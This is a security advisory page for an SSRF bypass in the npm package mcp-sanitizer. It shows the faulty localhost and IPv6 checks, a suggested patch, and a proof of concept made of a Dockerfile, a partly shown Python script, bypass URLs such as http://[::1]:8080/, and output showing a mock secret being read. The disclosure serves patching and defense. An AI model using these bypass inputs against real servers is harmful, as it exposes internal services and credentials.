p PatchFirst

GHSA-4mfg-r38w-w8fg

GHSA-4mfg-r38w-w8fg · mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Esta página presenta datos de fuentes públicas de vulnerabilidades. Consulta el aviso original antes de actualizar.

Esta página muestra una selección de datos de las fuentes. Consulte los avisos enlazados para ver la descripción completa y las versiones afectadas.

## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6 ### Summary `mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses. ### Details The vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`. **Bug 1 — Port-guarded localhost check (line 274–276):** ```js // src/utils/validation-utils.js:274-276 if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { throw new Error('URL points to localhost without explicit port'); } ``` The `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved. **Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):** ```js // src/utils/validation-utils.js:293-295 if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { throw new Error(`URL points to link-local address: ${hostname}`); } ``` The Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`. **Data flow through the middleware:** 1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`. 2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`. 3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`. 4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL. Both bugs are in the default code path; no special configuration is required to trigger them. **Suggested patch:** ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const { URL } = require('url'); +const net = require('net'); @@ - const hostname = parsedUrl.hostname.toLowerCase(); + const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, ''); @@ - if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { - throw new Error('URL points to localhost without explicit port'); + if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') { + throw new Error('URL points to localhost or loopback'); } @@ - if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { + if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') || + hostname.startsWith('fc') || hostname.startsWith('fd')) { throw new Error(`URL points to link-local address: ${hostname}`); } + + if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) { + throw new Error(`URL points to restricted IPv6 address: ${hostname}`); + } ``` ### PoC **Prerequisites:** Docker installed; no other dependencies required. **1. Build the Docker image:** ```bash docker build \ -f vuln-001/Dockerfile \ -t vuln-001-mcp-sanitizer \ reports/npmAI_754_starman69__mcp-sanitizer ``` **2. Run the PoC:** ```bash docker run --rm vuln-001-mcp-sanitizer ``` The `poc.py` script inside the image: - Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`. - Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned. **Expected output (abbreviated):** ``` [BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/ [BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/ [BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/ [SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/' [!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c RESULT: PASS - SSRF bypass fully demonstrated end-to-end ``` Baseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic. **Minimal inline repro (no Docker):** ```bash # Inside the mcp-sanitizer repository root (npm ci first) node - <<'NODE' const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer(); for (const url of [ 'http://localhost:8080/', 'http://[::1]:8080/', 'http://[fe80::1]:8080/' ]) { const r = sanitizer.sanitize(url, { type: 'url' }); console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized); } NODE ``` ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that: 1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and** 2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools), is exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment. **Consequences:** - **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - **Availability:** Not directly impacted. The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:18-alpine # Install Python3 for the PoC script RUN apk add --no-cache python3 WORKDIR /app # Copy package files first for better layer caching COPY repo/package.json repo/package-lock.json ./ # Install Node.js dependencies (clean install, no dev deps) RUN npm ci --ignore-scripts --omit=dev # Copy library source COPY repo/src ./src/ # Copy PoC script COPY vuln-001/poc.py ./poc.py # Run the PoC by default CMD ["python3", "poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation Library: mcp-sanitizer v1.3.3 (commit caff5d6) CWE-918: Server-Side Request Forgery CVSS 3.1: 8.2 (High) Root cause: src/utils/validation-utils.js:274: if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block. - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6, so the string equality check against "::1" and startsWith("fe80:") both silently fail. Attack scenario: 1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.

CVSS 8.2 · Alta · Corrección disponible

Publicación
Actualización

Pila tecnológica: node

Productos y versiones afectados

  • mcp-sanitizer npm

    Intervalos de versiones afectados
    • SEMVER: < 1.4.0

    Actualiza a 1.4.0

Fuentes originales

Comprueba tu servidor →